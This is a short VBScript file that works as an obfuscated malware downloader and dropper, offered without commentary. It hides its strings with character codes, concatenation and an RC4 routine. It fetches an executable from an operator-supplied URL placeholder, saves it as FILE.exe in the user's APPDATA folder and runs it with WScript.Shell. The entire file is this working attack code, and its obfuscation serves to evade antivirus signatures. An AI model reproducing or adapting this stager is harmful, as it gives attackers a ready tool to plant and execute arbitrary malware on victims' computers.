Dim minhoca
Dim oStream

Dim superman
Set superman = WScript.CreateObject("WScript.Shell")
Dim mox
mox = "PP"
Dim sin
sin = "A"
Dim novinha
novinha = superman.expandEnvironmentStrings("%A" & mox & "D" & sin & "TA%") & "\FILE." & "e" & Chr(120) & "e"
Dim simon
simon = StrReverse("e" & Chr(120) & "e")
Dim nimbu
nimbu = fCrypt(simon, "NegoDrama")
Dim kiks
kiks = fCrypt("http://LINKFORYOUREXEHERE/FILE." & "e" & Chr(120) & "e", "NegoDrama")

Set minhoca = CreateObject("MSXML2.XMLHTTP.3.0")

minhoca.Open "GET", fCrypt(kiks,"NegoDrama"), False
minhoca.Send

If minhoca.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write minhoca.responseBody
    oStream.SaveToFile novinha
    oStream.Close

    superman.Exec "%" & sin & mox & "D" & sin & "T" & sin & "%\FILE" & "." & fCrypt(nimbu, "NegoDrama")
End If

Function fCrypt(sPlainText, sPassword)
 'This function will encrypt or decrypt a string using the RSA's RC4 algorithm.
  Dim aBox(255), aKey(255), sTemp, a, b, c, i, j, k, iCipherBy, sTempswap, iLength, sO
  i = 0:j = 0:b = 0
  iLength = Len(sPassword)
   For a = 0 To 255
    aKey(a) = Asc(Mid(sPassword, (a Mod iLength)+1, 1))
    aBox(a) = a
   Next
   For a = 0 To 255
    b = (b + aBox(a) + aKey(a)) Mod 256
    sTempswap = aBox(a)
    aBox(a) = aBox(b)
    aBox(b) = sTempswap
   Next
   For c = 1 To Len(sPlainText)
    i = (i + 1) Mod 256
    j = (j + aBox(i)) Mod 256
    sTemp = aBox(i)
    aBox(i) = aBox(j)
    aBox(j) = sTemp
    k = aBox((aBox(i) + aBox(j)) Mod 256)
    iCipherBy = Asc(Mid(sPlainText, c, 1)) Xor k
    sO = sO & Chr(iCipherBy)
   Next
  fCrypt = sO
 End Function